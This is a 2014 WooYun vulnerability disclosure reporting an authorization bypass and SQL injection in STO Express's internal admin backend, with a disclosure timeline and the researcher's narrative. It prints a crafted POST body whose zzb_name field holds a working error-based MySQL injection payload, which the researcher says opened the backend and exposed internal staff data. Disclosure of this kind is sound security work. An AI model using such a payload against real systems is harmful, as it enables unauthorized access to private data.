[公开漏洞]申通快递某管理后台存在绕过漏洞可能泄漏内部敏感信息

来源：WooYun　浏览：760次　时间：2014-07-15

申通快递某管理后台存在绕过漏洞可能泄漏内部敏感信息相关厂商：申通快递漏洞作者：卡卡提交时间：2014-05-30 15:59 公开时间：2014-07-14 15:59 漏洞类型：未授权访问/权限绕过危害等级：高自评Rank：20 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：无漏洞详情披露状态：

2014-05-30：细节已通知厂商并且等待厂商处理中
2014-05-30：厂商已经确认，细节仅向厂商公开
2014-06-09：细节向核心白帽子及相关领域专家公开
2014-06-19：细节向普通白帽子公开
2014-06-29：细节向实习白帽子公开
2014-07-14：细节向公众公开

简要描述：

某天路过一家洗头房，门口徘徊许久到底要不要进去，这时候脑子里有两个小人在对话了，一个说，进去吧~ 另一个说，好啊，我也是这样想的~~

详细说明：

漏洞是昨晚发现的，由于太晚便没深入，白天发现后台登陆页面被改了，所以有些细节不能复现~

对申通快递整个段进行了一下整理分类，找到了目标

http://it.sto.cn:8080/

应该是内部管理系统了

利用谷歌语法，找到了几个链接

.png

it.sto.cn:8080/lxb/login.php

后台登陆接口

试了试弱口令无果

又用工具扫了扫

结果令我大吃一惊，扫出的注射就已经多不胜数了，但是没跑出来。不过我又发现了后台越权访问

.png

应该是有注射的

尝试直接打开后台链接，竟然提示这个，吓尿了~

.png

之后我自己通过抓包，发现修改post包就可以绕过后台限制直接访问了

post包我是这样构造的

end_sort=274&fanwei=1&jibie=1&manage_name=apxvsfnj&phone=555-666-0606&pq=1&sort=end&tel=555-666-0606&zzb_name='and(select%201%20from(select%20count(*)%2cconcat((select%20concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(67)%2cCHAR(72)%2cCHAR(75)%2cCHAR(106)%2cCHAR(52)%2cCHAR(53)%2cCHAR(70)%2cCHAR(65))%20from%20information_schema.tables%20limit%200%2c1)%2cfloor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'

便直接访问到后台了，后台内部大量信息一览无遗，应该整个公司整个部门都在这里了

.png